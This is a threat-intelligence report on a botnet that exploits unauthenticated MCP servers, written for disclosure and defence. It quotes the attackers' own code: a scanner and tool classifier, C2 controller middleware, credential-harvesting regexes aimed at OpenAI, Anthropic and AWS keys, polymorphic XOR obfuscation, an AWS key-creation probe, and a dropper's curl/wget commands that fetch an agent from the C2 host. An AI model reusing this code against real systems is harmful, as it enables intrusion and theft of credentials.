n4d_debug (7.3 MB, Jun 26). Catalog includes 20+ probe functions, 30+ deploy/exploit modules, 5 persistence installers, and a score-based honeypot detection engine.installPersistence (cron.d), installBashrc, installSystemd, installSSHKey (~/.ssh/authorized_keys), installWatchdog. Plus /etc/profile.d/sys_alias.sh./api/pty WebSocket in the C2 panel. Agents establish outbound Cloudflare Quick Tunnels (*.trycloudflare.com) — anonymous, no domain registration, TLS signed by Cloudflare CA.cleanupTraces, setProcName (kernel worker masquerade), stealthRST (no connection logs), randomized delays and User-Agents. Score-based honeypot blacklist shared across the fleet.modules
targets
mechanisms
in binary
amd64/arm/386
01. Executive Overview
Initial server and malware samples provided by MalwareHunterTeam. Investigation, AI-assisted analysis, validation, and technical documentation by 1ZRR4H. TLP:WHITE — Public disclosure, no restrictions.
The open directory exposed the complete operational toolkit of a live botnet campaign:
four generations of MCP scanners, a polymorphic Python agent builder, both C2 controller
versions, an attack chain planner, AWS post-exploitation scripts, and a Go binary
(n4d_debug) left with debug symbols intact. That binary exposed 170+
named functions and the full exploit arsenal. The C2 API running on port 8443 was
reachable during the investigation, and its credential endpoint in v3.1 required
no authentication.
The campaign's primary target is AI infrastructure. The threat actor
built eight dedicated exploit modules for AI compute platforms: LightLLM, Ray
Dashboard, Jupyter, Marimo, FastGPT, Grafana Renderer, and three MCP server types.
These sit alongside the standard botnet arsenal of database RCE, container escapes,
and cloud credential harvesting. The entry vector is Model Context Protocol (MCP)
servers: the JSON-RPC 2024-11-05 protocol that connects AI assistants to
external tools. MCP carries no mandatory authentication. Exposed MCP servers that
advertise execute_command or equivalent tools are silently exploited
at internet scale. The agent calls those tools, harvests the results, and reports
them to the C2 without any interaction from the victim.
AI operator priority: The harvest rules in pathing_engine.py
explicitly prioritize OPENAI_API_KEY, ANTHROPIC_API_KEY,
and AWS credentials above all other credential types. The binary analysis confirms
this is not incidental. deployLightLLM, deployRayDashboard,
and exploitAKSMCP are first-class exploit modules targeting the GPU
compute and model API access that represent directly monetizable assets.
Critical finding: The C2 API port 8443 was reachable during the investigation.
GET /api/intel on controller v3.1 required zero authentication:
no token, no key, no session. A single HTTP request returned every credential
the botnet had collected from its victims.
Following discovery of the exposure, the operators upgraded to controller v4.0.
The new version added HMAC-SHA256 authentication on all sensitive endpoints, CDN
camouflage via 302 redirect to Imperva, Cloudflare tunnel relay for agent
communications, and a multi-step attack chain engine (pathing_engine.py).
The full v3.1 to v4.0 transition is documented by files recovered from the open directory.
The open directory contained, at minimum:
- Four scanner generations:
mcp_scan.py,mcp_direct.py,mcp_scan_v2.py,mcp_v3.py - Polymorphic agent builder:
build_agent.py+mesh_agent.py - C2 controllers:
controller.py(v3.1) andcontroller_v4.py - AWS post-exploitation script:
aws_enum.py+aws_validated.json - Attack chain planner:
pathing_engine.py - Shell delivery script:
beacon.sh
Fig. 1 - High-level campaign architecture: C2 controller dispatching CIDR scan tasks to distributed agents, with the polymorphic build pipeline and credential exfiltration pipeline.
02. Infrastructure Architecture
The C2 controller is a FastAPI application running under Uvicorn on port
:8443, backed by a PostgreSQL database with eight tables. The agent fleet
communicates with the controller over HMAC-authenticated HTTP in v4.0. A P2P mesh layer
on port :9999 allows inter-agent communication and peer discovery,
providing operational continuity if the primary controller becomes unavailable.
Controller Database Schema
PostgreSQL backs all controller state across eight tables:
| Table | Purpose | Key Columns |
|---|---|---|
| nodes | Agent registry and heartbeat tracking | node_id, ip, tunnel_url, version, last_seen |
| tasks | Scan task queue dispatched to agents | task_id, node_id, cidr, ports, status |
| results | Raw scan output from completed tasks | task_id, findings, created_at |
| intel | Exfiltrated credentials and system files | node_id, files, env, docker, metadata |
| alerts | High-value target notifications | node_id, alert_type, detail |
| scanned_ranges | CIDR deduplication across the fleet | cidr, scanned_at, node_id |
| deploys | Beacon and deployment log | target_ip, target_port, status, deployed_by |
| chain_tasks | Multi-step attack chain assignments | chain, status, current_step, node_id |
Geo-Targeted CIDR Assignment
When an agent registers, the controller inspects the connecting IP and assigns scan ranges from regionally appropriate CIDRs. Chinese IP addresses receive Tencent Cloud and Alibaba Cloud ranges. All other IPs receive ranges from Hetzner, DigitalOcean, Linode, OVH, Vultr, and Contabo. This approach distributes scan traffic across cloud providers to avoid threshold-based blocking on any single ASN.
Cloudflare Tunnel Relay
Each agent registers a Cloudflare tunnel URL via POST /api/endpoint on
first connection. Subsequent agent-to-C2 traffic flows through Cloudflare's infrastructure,
hiding the actual C2 IP from network-layer defenders inspecting agent traffic. The
controller resolves which Cloudflare URL belongs to which agent via the
nodes.tunnel_url column.
Three-Port Public Entry Stack
Three separate listener processes bind the server's public interface, each proxying to
the same FastAPI backend on :8443. This gives agents and operators three
independent network paths to the C2, improving resilience against port-level blocking:
| Port | Script | Protocol | Function |
|---|---|---|---|
| :80 | http_proxy.py | Plain HTTP | Forwards to :8443; used as third-priority fallback in beacon.sh when HTTPS is unavailable |
| :443 | tls_proxy.py | TLS - cdnorigin.net |
Terminates TLS using the cdnorigin.net certificate, then proxies plaintext to :8443; primary secure entry |
| :8443 | controller_v4.py | Plain HTTP (FastAPI) | Direct C2 API; all authenticated agent endpoints; the canonical backend for all three entry points |
CDN Front Domain - cdnorigin.net
The TLS proxy on port 443 presents a certificate issued to CN=cdnorigin.net
- a domain registered specifically for this operation to add apparent legitimacy.
The certificate is self-signed with an RSA-2048 key pair and carries a 10-year validity
window (issued 2026-06-26, expires 2036-06-23). Agents using the curl download fallback
with -k skip certificate validation entirely, so the domain name serves
primarily to make TLS traffic appear to originate from a CDN origin rather than a raw IP.
The private key for this certificate (cf-key.pem) was present in the
exposed open directory and has been fully redacted from this report. Its exposure
means any observer of TLS traffic to port 443 can decrypt it retroactively.
See Section 14 for full OpSec failure analysis.
Fig. 2 - The three-port C2 entry stack: tls_proxy.py on :443 (cdnorigin.net TLS, private key exposed), http_proxy.py on :80 (plain forward), and controller_v4.py on :8443 (direct FastAPI). All proxy to the same backend. Non-API requests receive a 302 redirect to imperva.com for CDN camouflage.
03. Why AI Tooling Is the Target
The Model Context Protocol (MCP) - specified at protocol version 2024-11-05 - is a JSON-RPC standard that lets AI assistants communicate with external tool servers. An AI assistant configured with an MCP server can call tools to run code, read files, query databases, invoke cloud APIs, and more. The spec places no authentication requirement at the transport layer. Server implementors are entirely responsible for access control.
In practice, thousands of MCP servers run on public IP addresses with no authentication.
Developers deploy them during experimentation; CI systems run them for automated
workflows; internal services expose them on ports that are inadvertently routed through
cloud security groups left at their defaults. The protocol's tools/list
method returns a machine-readable manifest of every capability a server has. This makes
automated target qualification trivial: connect, enumerate, classify, and call.
No exploit required. An MCP server advertising execute_command
without authentication is an unauthenticated root shell on the public internet.
The attacker sends a standard JSON-RPC tools/call request.
There is no vulnerability to patch. There is no CVE. The server performs exactly as
designed - it just had no business being reachable from the open internet.
Dangerous Tool Classifier
Every probed server's tool list is matched against this classifier. A single match
triggers immediate exploitation via tools/call:
■ Direct unauthenticated RCE ■ High-impact data / lateral movement ■ Context-dependent
Fig. 3 - The MCP exploit sequence: initialize handshake, tools/list reveals execute_command, a single tools/call delivers a command, response contains root shell output.
04. Scanning Operations
Four scanner versions appear in the disclosed toolkit, each representing a development iteration within the same operational window. File timestamps from the open directory snapshot place these at least 9 hours apart, showing active tuning during live campaign execution.
| Version | File | Concurrency | Key Change |
|---|---|---|---|
| v1 | mcp_scan.py | 200 workers | Baseline - reads targets from stdin, single shared client |
| v2 | mcp_direct.py | 500 workers | CIDR input mode, 14-port target list |
| v3 | mcp_scan_v2.py | 500 workers | Shared AsyncClient across workers - major throughput improvement |
| v4 (final) | mcp_v3.py | 500 workers | Explicit connection pool limits, 30s pool timeout, JSONL output sorted by dangerous tool count |
Final Scanner Core - MCP Handshake and Dangerous Tool Classification
# mcp_v3.py - core scanner logic (abbreviated)
INIT = {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "n4d-vps", "version": "1.0"}
}
}
DANGER = {
"execute_command", "run_command", "execute", "shell", "terminal",
"read_file", "write_file", "delete_file", "execute_sql", "run_sql",
"read_query", "call_kubectl", "call_az", "eval", "exec",
"subprocess", "command", "transfer", "withdraw", "sign", "deploy"
}
async def probe_mcp(client, ip, port, path):
url = f"http://{ip}:{port}{path}"
r = await client.post(url, json=INIT, timeout=4)
if r.status_code == 200 and "result" in r.json():
tools = await list_tools(client, url)
dangerous = [t for t in tools if any(d in t.lower() for d in DANGER)]
if dangerous:
await exploit_dangerous(client, url, dangerous)
v4.0 Port Expansion
Controller v4.0 doubles the port scope from 8 to 16 targets per host, adding infrastructure management surfaces that go far beyond MCP:
# v3.1 - 8 ports
SCAN_PORTS = "80,443,3000,5000,8000,8080,8443,8888"
# v4.0 - 16 ports: added Docker, Kubernetes, Redis, PostgreSQL, Elasticsearch
SCAN_PORTS = "80,443,3000,5000,8000,8080,8443,8888,2375,2376,6379,5432,6443,10250,9090,9200"
Docker daemon on :2375 (unauthenticated by default), the Kubernetes API
on :6443, kubelet on :10250, and Redis on :6379
are each independently capable of yielding full cluster control with no credentials.
The operation expanded its target surface from "exposed AI tool endpoints" to "any
exposed infrastructure management interface."
Fig. 4 - Operation timeline - 9+ hours of continuous scanning documented from the open directory snapshot, showing scanner iterations and operational evolution.
05. The Critical OpSec Failure: Unauthenticated Intel API
The most consequential finding in this investigation is not what the botnet did to its victims. It is what the operators left exposed about themselves. The C2 API on port 8443 was reachable. In controller v3.1, the credential endpoint required no authentication whatsoever. A direct HTTP request returned the complete harvest database.
The Unauthenticated Endpoint - v3.1 Source
# controller.py (v3.1) - THE EXPOSED VERSION
@app.get("/api/intel")
async def get_intel():
with db() as c:
cur = c.cursor()
cur.execute(
"SELECT node_id, files, env, docker, metadata, created_at "
"FROM intel ORDER BY created_at DESC LIMIT 50"
)
cols = [d[0] for d in cur.description]
return {"intel": [dict(zip(cols, row)) for row in cur.fetchall()]}
No authentication decorator. No middleware. No API key check. Anyone who could reach port 8443 could dump every credential the botnet had ever collected. This endpoint produced the credential dataset analyzed in §06.
The POST Endpoint Was Equally Open
The intel submission endpoint, the one agents call to exfiltrate credentials, was also unauthenticated in v3.1. Any host on the internet could submit arbitrary credential data to the botnet's database. Any host could also read back everything submitted. The entire intel pipeline was unauthenticated.
Fig. 5 - The unauthenticated /api/intel endpoint in v3.1: both GET (credential dump) and POST (credential submission) required no authentication token of any kind.
06. Credential Harvest: Contents of GET /api/intel
The intel API response is a JSON array. Each record represents one compromised host
and the material submitted by that host's agent. All actual values in this report are
replaced with [REDACTED]. The following describes the structure and types
of data present.
/etc/shadow files
21 backdoored authorized_keys
6 SSH private keys
5 Azure ARM bearer tokens
6 AWS IAM sets (3 accounts)
18 Docker socket paths
9 env var secrets
System Credentials - files Field
Each record's files field is a dictionary mapping file paths to their
verbatim contents as exfiltrated from the compromised host:
| File Path | Content Type | Hash Format | Status |
|---|---|---|---|
| /etc/shadow | Linux shadow password database | $y$ (yescrypt), $6$ (SHA-512) | [REDACTED] |
| /root/.ssh/id_rsa | RSA private key (PEM format) | -----BEGIN RSA PRIVATE KEY----- | [REDACTED] |
| /root/.ssh/authorized_keys | Attacker-inserted backdoor public key | Comment field: test |
[REDACTED] |
The intel database contains 100 total records, of which 98 carry substantive data. Credential type distribution across the dataset:
| Credential / Data Type | Records | Notes |
|---|---|---|
/etc/shadow captured | 46 | 15 with root password hash; 31 with root locked |
authorized_keys modified | 21 | Backdoor key inserted; see key comment breakdown below |
| Nodes with Docker present | 18 | Enables container escape paths |
| Azure Managed Identity tokens | 5 | Azure RM Bearer tokens from IMDS (169.254.169.254) |
SSH private keys (/root/.ssh/id_rsa) | 6 | [REDACTED] |
| Environment variables with secrets | 9 | Includes NGINX_UI_PREDEFINED_USER_PASSWORD, MYSQL_ROOT_PASSWORD, UPDATE_SERVICE_API_KEY |
| AWS IAM credential sets (aws_validated.json) | 6 | 3 distinct AWS accounts; validated live via STS GetCallerIdentity by aws_enum.py |
The backdoor SSH key in authorized_keys is not a single key — the agent inserts
keys from a pool with nine distinct comment strings across the 21 backdoored hosts:
| Key Comment | Count | Assessment |
|---|---|---|
| auto-backdoor | 21 | Agent-generated key — automated, campaign-wide |
| test | 6 | Generic operator key |
| u0_a599@localhost | 3 | Android app UID format — suggests connection from Android (Termux or similar) |
| admin@mm | 2 | Short generic hostname |
| hype | 2 | Operator handle or generic label |
| jan@mac | 1 | Low-confidence attribution indicator — personal Mac username |
| root@proxmox | 1 | Proxmox host — likely compromised relay node |
| good@gooddeMacBook-Pro.local | 1 | Low-confidence attribution indicator — personal Mac with operator username good |
| evincent@ev-mac.lan | 1 | Low-confidence attribution indicator — Mac on private LAN; username evincent also appears in one captured /etc/shadow |
| (no comment) | 1 | — |
Potential attribution indicators — low confidence. The key comments
evincent@ev-mac.lan, good@gooddeMacBook-Pro.local,
jan@mac, and u0_a599@localhost (Android) each appear on only
one or three compromised hosts. They could represent operator personal keys used for
direct SSH access, keys propagated from other compromised machines, or keys shared among
team members. The username evincent appearing in a captured
/etc/shadow on one of the same nodes where the evincent@ev-mac.lan
key was inserted warrants further investigation, but is not treated as confirmed attribution
in this report. These indicators should be correlated with any future attribution evidence.
Cloud Credentials - metadata Field
The metadata field contains JSON where each key is the name of an MCP
tool that the agent called, and the value is the verbatim JSON response that tool
returned. This directly maps MCP tool exploitation to credential type:
| MCP Tool Called | Credential Type | Example Fields | Value |
|---|---|---|---|
| get_aws_admin_credentials | AWS long-term IAM key | AccessKeyId, SecretAccessKey | [REDACTED] |
| get_aws_session_credentials | AWS STS temporary token | AccessKeyId (ASIA...), SecretAccessKey, SessionToken | [REDACTED] |
| get_ssh_session_credentials | EC2 SSH plaintext password | username: ec2-user, password | [REDACTED] |
Azure Managed Identity Tokens
Several records contain full Azure Resource Manager Bearer tokens obtained from the
Azure Instance Metadata Service (IMDS) at 169.254.169.254. The decoded JWT
claims identify the source VM precisely:
| JWT Claim | Value | Implication |
|---|---|---|
| aud | https://management.azure.com/ | Full Azure Resource Manager scope |
| idtyp | app | Machine identity (Managed Identity), not a user token |
| xms_mirid | /subscriptions/[REDACTED]/resourceGroups/[REDACTED]/providers/Microsoft.Compute/virtualMachines/[REDACTED] | Exact source VM path fully identified |
| exp | iat + 24h | Token valid 24 hours; three successive entries ~10h apart indicate auto-refresh by agent |
Three JWT entries for the same node appear with issue times roughly 10 hours apart. The agent refreshes the token before its 24-hour expiry, maintaining persistent Azure management plane access without any additional exploitation step.
Six AWS credential records across three distinct AWS accounts appear in
aws_validated.json (validated separately from the intel API via
aws_enum.py, confirmed live via STS GetCallerIdentity).
IAM usernames present: admin-old, svc-backup,
svc-ansible, payroll-svc, legacy-service.
All credential values are [REDACTED]. Source IPs correspond to
cloud VMs (previously compromised MCP servers) and are likewise redacted.
Note: the intel API metadata field stores Azure tokens directly; AWS credentials
were harvested via a separate validation pipeline rather than via MCP tool calls.
Fig. 6 - Intel API record structure: the chain from MCP tool call to credential type stored in the intel database.
07. v3.1 to v4.0 Hardening: An Operational Response
Controller v4.0 is not a routine feature release. Every substantive change it introduces directly addresses the specific failure that led to the credential database exposure. The diff between the two controllers, both present in the open directory, reads as a forensic record of what the operators realized they had done wrong.
HMAC Authentication Added
# controller_v4.py - lines 53-70
MESH_KEY = bytes.fromhex("[REDACTED - 32-byte HMAC key]")
OPERATOR_KEY = os.environ.get("N4D_OP_KEY", "[REDACTED]")
def verify_bot_auth(req: Request) -> bool:
"""Verify HMAC-SHA256(mesh_key, node_id + timestamp) in X-Mesh-Auth header."""
token = req.headers.get("X-Mesh-Auth", "")
if not token or ":" not in token:
return False
nid, sig_hex = token.split(":", 1)
# Accept +-1 second window - bot generates HMAC at request time
now = int(time.time())
for ts in [now, now - 1, now + 1]:
expected = hmac.new(
MESH_KEY,
f"{nid}:{ts}".encode(),
hashlib.sha256
).hexdigest()
if hmac.compare_digest(expected, sig_hex):
return True
return False
Authentication Middleware
# controller_v4.py - lines 82-107
OPEN_ENDPOINTS = {
"/api/client/update", "/api/status", "/api/agent/binary",
"/api/register", "/api/agent/download", "/api/beacon",
"/api/update/check", "/api/update/canary", "/api/update/health"
}
# /api/intel, /api/chains, /api/stats require operator key
OPERATOR_ENDPOINTS = {"/api/intel", "/api/chains", "/api/stats"}
@app.middleware("http")
async def auth_middleware(req: Request, call_next):
path = req.url.path
if not path.startswith("/api/"):
return await call_next(req)
if path in OPEN_ENDPOINTS:
return await call_next(req)
if path in OPERATOR_ENDPOINTS and req.method == "GET":
if verify_operator_auth(req):
return await call_next(req)
return JSONResponse({"error": "unauthorized"}, status_code=401)
if verify_bot_auth(req):
return await call_next(req)
return JSONResponse({"error": "unauthorized"}, status_code=401)
Backward-Compatible Bootstrap
The OPEN_ENDPOINTS set includes /api/client/update and
/api/agent/download. Old bots running v3.1 - without any HMAC capability
- can still reach these endpoints without authentication and download the v4.0 binary
with HMAC baked in. The update system bootstraps the entire fleet to authenticated
operation without losing a single node.
The v3.1 to v4.0 upgrade is not a routine patch. It is a direct operational response
to having their entire credential database exposed. The OPEN_ENDPOINTS
list was carefully designed to maintain continuity - the update channel stays open --
while locking down everything sensitive. The operators understood exactly which
endpoints had caused the exposure and addressed each one.
08. CDN Camouflage
Controller v4.0 adds a middleware layer that redirects all non-API traffic to a legitimate CDN company. The intent is to make the C2 server appear to be a CDN origin when visited by browsers, crawlers, or security researchers.
# controller_v4.py - lines 235-247
# ===== CDN CAMOUFLAGE =====
# Non-API traffic (browser visits, crawlers) gets redirected to a real CDN company.
# Makes the domain look like a boring CDN origin server, not a C2 controller.
@app.middleware("http")
async def camouflage_middleware(req: Request, call_next):
path = req.url.path
if path.startswith("/api/"):
return await call_next(req)
if path == "/robots.txt":
return PlainTextResponse(
"User-agent: *\nDisallow: /\n", media_type="text/plain"
)
# Everything else - redirect to real CDN company
return RedirectResponse("https://www.imperva.com/", status_code=302)
The layered effect is as follows: a browser or automated scanner visiting the IP receives
a 302 redirect to Imperva's homepage, making the server appear to be a CDN origin.
The robots.txt response ("Disallow: /") is consistent with what a CDN
origin would return to prevent search engines from indexing it. API paths bypass the
redirect entirely, requiring an attacker to know the /api/ prefix.
Combined with the Cloudflare tunnel relay - where agents connect via Cloudflare-issued URLs rather than the raw C2 IP - the infrastructure presents a minimal footprint on threat intelligence feeds. Network-layer defenders inspecting agent traffic see only Cloudflare IP ranges; defenders probing the C2 IP directly see only a CDN 302 redirect.
The cdnorigin.net domain compounds this effect. When TLS traffic to port 443
is inspected at the SNI layer, the server name cdnorigin.net reads as a
plausible CDN origin hostname. The domain name was chosen to blend into traffic analysis
tooling that correlates SNI values against known CDN provider domains.
09. Attack Chain Engine
Controller v4.0 introduces a capability that v3.1 entirely lacked: automated multi-step
attack sequencing. The pathing_engine.py script - present in the open
directory - analyzes the results database and generates "chains": ordered sequences of
exploitation steps that agents execute one at a time.
Chain Dispatch - Security-Aware Design
# controller_v4.py - chain_row dispatch section
# SECURITY: Only send ONE step at a time to bot - never reveal full chain
# SECURITY: Only trusted bots (active >1h, >10 tasks) get chain tasks
bot_task_count = cur.fetchone()[0]
bot_age = time.time() - (node_row[0] or time.time())
is_trusted = bot_task_count >= 10 and bot_age > 3600
# ... (assign chain_task to trusted bot)
if chain_row:
chain_id, chain_data, step_idx = chain_row
steps = chain_data.get("steps", [])
step = steps[step_idx]
print(
f"[AUDIT] chain_step_dispatch id={chain_id} "
f"step={step_idx}/{len(steps)} bot={nid} "
f"exploit={step.get('exploit','?')} "
f"target={step.get('target','?')}",
flush=True
)
return {
"task_id": ...,
"chain_task": {
"id": chain_id,
"step": step_idx,
"total_steps": len(steps),
"exploit": step.get("exploit"),
"target": step.get("target"),
"deploy_cmd": step.get("deploy_cmd")
}
}
Chain Refresh Endpoint
@app.post("/api/chains/refresh")
async def refresh_chains():
"""Re-run the pathing engine with latest findings and populate chain_tasks."""
result = subprocess.run(
[".venv/bin/python", "pathing_engine.py", "--db", "--json"],
capture_output=True, text=True, timeout=120, cwd="/opt/scanner"
)
tasks = json.loads(result.stdout.strip().split("\n")[-1])
for task in tasks:
chain_sig = json.dumps(task.get("steps", []), sort_keys=True)
cur.execute(
"INSERT INTO chain_tasks (chain, status, created_at) "
"VALUES (%s, 'pending', %s)",
(json.dumps(task), time.time())
)
Chain Trust and Safety Mechanics
- Each bot receives exactly one step at a time. The full chain is never sent to any single agent.
- A bot must complete at least 10 scan tasks AND maintain connectivity for 1+ hour before receiving chain assignments.
- Targets that fail 3 or more consecutive steps are automatically blacklisted from that chain.
- Step results are submitted via
POST /api/chains/result/{nid}; the controller advances the chain or marks it failed. - Full audit logging on every chain step dispatch: chain ID, step index, exploit type, and target IP are written to the controller log.
The presence of pathing_engine.py marks a significant capability
escalation. This operation moved from "opportunistic MCP scanning" to "automated
multi-step lateral movement planning." The chain engine generates sequences like:
scan - find exposed tool - execute command - harvest credentials - deploy agent
- scan adjacent networks. Each compromised host becomes a planned stepping stone,
not just an incidental victim.
Fig. 7 - The v4.0 attack chain engine: pathing_engine.py reads the results database, builds multi-step exploitation chains, and dispatches one step at a time to trusted bots. No single agent ever sees the full plan.
Exploit Template Registry - 21 Templates
pathing_engine.py ships with 21 pre-built exploit templates organized
into four categories. Each template declares the capability it requires, the capability
it provides, reliability and severity metadata, and a deploy_cmd identifier
that the agent translates into actual shellcode.
| Category | Template | Requires | Provides | Reliability |
|---|---|---|---|---|
| MCP 0-day | dbhub_unauth_sql | network_access | sql_read + sql_write | 0.70 |
| mysql_streamable_unauth | network_access | sql_read + sql_write | 0.65 | |
| aks_mcp_unauth | network_access | k8s_admin | 0.60 | |
| mcp_shell_exec | network_access | shell_exec | 0.80 | |
| mcp_file_read | network_access | file_read | 0.85 | |
| SQL - RCE | sql_to_pg_rce | sql_write (pg) | shell_exec via pg_copy_to_program |
0.60 |
| sql_to_mysql_rce | sql_write (mysql) | shell_exec via outfile + cron |
0.40 | |
| creds_to_redis / redis_cron_rce | creds:redis / redis_access | redis_access / shell_exec | 0.80 / 0.50 | |
| creds_to_ssh | creds:ssh | shell_exec | 0.70 | |
| CVE | jenkins_cli_rce | network_access (port 8080) | shell_exec | 0.65 |
| docker_api_rce | network_access (port 2375/2376) | shell_exec | 0.85 | |
| rclone_rcd_rce | network_access (port 5572) | shell_exec | 0.70 | |
| weblogic_console_rce | network_access (port 7001) | shell_exec | 0.55 | |
| Lateral | shell_to_container_escape | shell_exec | shell_exec (host) | 0.50 |
| k8s_to_pod_exec | k8s_admin | shell_exec | 0.60 | |
| creds_to_azure | creds:azure | cloud_access (azure) | 0.65 |
Chain Scoring Formula
Attack chains are ranked by a composite score that weighs severity, end-state value, reliability across all steps, and path length. Shorter paths to high-value end states are preferred:
# pathing_engine.py - AttackChain.score property
score = (max_severity + end_bonus) * reliability * 0.85 ** depth
# end_bonus values (capability type → bonus points):
# shell_exec → +5 (arbitrary code execution confirmed)
# k8s_admin → +5 (full Kubernetes cluster control)
# cloud_access → +8 (highest bonus: cloud account takeover)
# creds → +2 (credential harvest, enables further chaining)
# reliability = product of all step reliabilities in the chain
# depth penalty: 0.85^depth = 0.72 at 2 steps, 0.61 at 3 steps, 0.52 at 4 steps
The depth penalty (0.85 per step) means a two-step chain scoring 7.0 outranks a three-step chain scoring 8.5 in raw capability terms if the three-step path's reliability product drops enough. This drives the engine toward direct, high-confidence routes rather than elaborate chains with multiple low-reliability steps.
Credential Harvest Rules - AI API Keys Explicitly Targeted
Separate from the exploit templates, pathing_engine.py defines
a set of harvest rules that extract credentials from exploit output via regex.
Two rules are particularly notable: env_vars and env_file
both explicitly target OPENAI_API_KEY and ANTHROPIC_API_KEY
in addition to cloud and database credentials:
# pathing_engine.py - build_harvest_rules()
rules["env_vars"] = HarvestRule(
trigger_type="shell_exec",
patterns=[
r'(?:OPENAI_API_KEY|ANTHROPIC_API_KEY|AWS_ACCESS_KEY_ID|'
r'AWS_SECRET_ACCESS_KEY|GOOGLE_API_KEY|STRIPE_API_KEY)\s*=\s*([^\s]+)',
r'(?:DATABASE_URL|REDIS_URL)\s*=\s*([^\s]+)',
],
produces={"type": "creds", "target": "api:{extracted}"},
)
rules["env_file"] = HarvestRule( # fires on file_read (e.g. .env files)
trigger_type="file_read",
patterns=[ # same patterns + mongodb + password fallback
r'(?:OPENAI_API_KEY|ANTHROPIC_API_KEY|AWS_ACCESS_KEY_ID|...)\s*=\s*([^\s]+)',
],
produces={"type": "creds", "target": "api:{extracted}"},
)
# Additional rules harvest:
# sql_config_table → MySQL/JDBC connection strings from config tables
# sql_user_hashes → bcrypt, MD5, SHA1 password hashes from sql_read output
# k8s_secrets → DATADOG_API_KEY, AZURE_CLIENT_SECRET from Kubernetes secrets
# ssh_keys → PEM private key blocks from file_read output
# nginx_ui_* → nginx-ui node secrets for authenticated PTY access
AI API key harvesting is a first-class objective, not an afterthought. MCP servers -
the primary scan target - are overwhelmingly deployed by AI application developers who
routinely set OPENAI_API_KEY and ANTHROPIC_API_KEY in their
environment. A single shell_exec on an MCP host yields these keys automatically,
without any additional attacker action.
10. Polymorphic Agent Build Pipeline
build_agent.py takes the canonical agent source (mesh_agent.py)
and transforms it through 8 AST and bytecode stages, producing a unique binary on every
build. Two downloads of the agent at the same second will produce binaries with different
file hashes, different identifier names, different string encodings, different function
ordering, and different blob compression. File hash and static YARA string-matching
are both defeated without behavioral rules.
Eight Build Stages
print() calls to reduce the surface area available to pattern-matching before obfuscation begins.MESH_KEY, AGENT_VERSION, CONTROLLER, AUTH_PUB_HEX, CACHED_CIDRS, scan_cidr, verify_signature, PeerHandler, and others - are replaced with randomly generated 8-character opaque strings. New names are generated per build from a fresh random seed./dev/shm/, protocol keywords like n4d, and API paths. Each matching constant is XOR-encoded with a per-build random 16-byte key and replaced with an inline decoder expression._=0, if 0:pass, _=len("")) are injected at roughly 1.5% probability per eligible line boundary. These contribute to hash uniqueness and slightly inflate disassembly length.compile() to catch any syntax errors introduced by the transformation stages before committing to the next stage.exec()s it at runtime. Three anti-analysis features execute in randomized order: self-deletion (os.unlink(sys.argv[0])), anti-debug (reads /proc/self/status, exits if TracerPid != 0), and output suppression (sys.stdout = open("/dev/null","w")).XOR Encoding - Runtime Decoder Generation
# build_agent.py - per-build XOR encoding (abbreviated)
XOR_KEY = os.urandom(16) # 16 random bytes per build
def xor_encode(data: bytes) -> bytes:
key = XOR_KEY
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
# String encoding in AST transformer
def encode_string(s: str) -> ast.expr:
raw = s.encode()
enc = xor_encode(raw)
# Generate: bytes([...]).decode() using XOR at runtime
return ast.parse(
f"bytes(b ^ {XOR_KEY}[i % {len(XOR_KEY)}] "
f"for i, b in enumerate({list(enc)})).decode()",
mode='eval'
).body
Every call to GET /api/agent/download triggers a fresh build. Two
downloads of the agent at the same second produce binaries with different hashes,
different identifier names, different string encodings, and different function orders.
File hash and YARA string-matching are both ineffective against this pipeline without
behavioral detection rules targeting the anti-analysis patterns at runtime.
Fig. 8 - The eight-stage polymorphic build pipeline: each output binary has a unique hash, unique identifier names, unique string encoding, and unique function order.
11. AWS Post-Exploitation
Once credentials appear in the intel database, aws_enum.py processes them
to enumerate the AWS attack surface of each compromised account. Six credential pairs
from three distinct AWS accounts appear in aws_validated.json - all
values [REDACTED]. IAM usernames identified: admin-old,
svc-backup, svc-ansible, payroll-svc,
legacy-service.
Privilege Escalation Probe
The script includes a specific test for iam:CreateAccessKey permission,
which would allow creating new long-term credentials independent of the original
compromised key:
# aws_enum.py - privilege escalation test (abbreviated)
new_keys = iam.create_access_key(UserName=user)
if new_keys:
print("*** CAN CREATE NEW ACCESS KEYS (persistent access) ***")
# Creates then immediately deletes - tests the permission without leaving an artifact
iam.delete_access_key(
UserName=user,
AccessKeyId=new_keys['AccessKey']['AccessKeyId']
)
Creating and immediately deleting a key tests the permission without leaving a persistent artifact in the IAM console's access key list.
Enumeration Scope
| AWS Service | Data Collected | Risk |
|---|---|---|
| IAM | Users, groups, attached policies, policy documents; wildcard (Action: "*") policy detection | CreateAccessKey escalation probe |
| S3 | All bucket names; object listing in deep mode | Data exfiltration |
| EC2 | All instances across 12 regions: us-east-1/2, us-west-1/2, eu-west-1/2, eu-central-1, ap-south-1, ap-northeast-1, ap-southeast-1, ca-central-1, sa-east-1 | Lateral movement |
| Secrets Manager | Secret names and descriptions | Keys, tokens, passwords |
| SSM Parameter Store | Parameter names, managed instance list | Remote execution |
| RDS | Database endpoints and engine types | Reconnaissance |
| Lambda | Function names and runtimes | Reconnaissance |
12. Dropper & Confirmed Compromise
The dropper infrastructure consists of three interrelated shell scripts. beacon.sh
is the primary implant delivery mechanism deployed on newly compromised hosts. It downloads
the Go agent binary, establishes two persistence mechanisms, and loops indefinitely. Separate
scripts target specific victim categories: qq_watcher.sh monitors and auto-exploits
QQ Message Bot MCP services. mesh_minimal.py serves as a Python-to-Go bridge for
environments where direct Go binary execution is constrained.
beacon.sh - 8-Method Download Chain
The dropper attempts to download the Go agent from three URLs using eight successive
download methods, in order from most preferred to least. Only on total failure does it
exit. A size check (> 3MB) validates that a real binary was received,
not a redirect page or error response:
#!/bin/bash
# Primary URLs (in priority order)
H="https://cdnorigin.net" # TLS front on :443 (cdnorigin.net cert)
D="http://[REDACTED]:8443" # Direct C2 on :8443 (fallback)
P="/api/agent/binary?arch=$B" # $B = uname -m output
# Method 1 (preferred): curl with TLS
curl -fsSL -o "$TF" "$H$P"
# Method 2: curl --insecure (skip cert validation)
curl -fsSLk -o "$TF" "$H$P"
# Method 3-4: wget variants
wget -qO "$TF" "$H$P"
wget -qO "$TF" --no-check-certificate "$H$P"
# Method 5-6: Python fallbacks (py3/py2)
python3 -c "import urllib.request; urllib.request.urlretrieve('$H$P','$TF')"
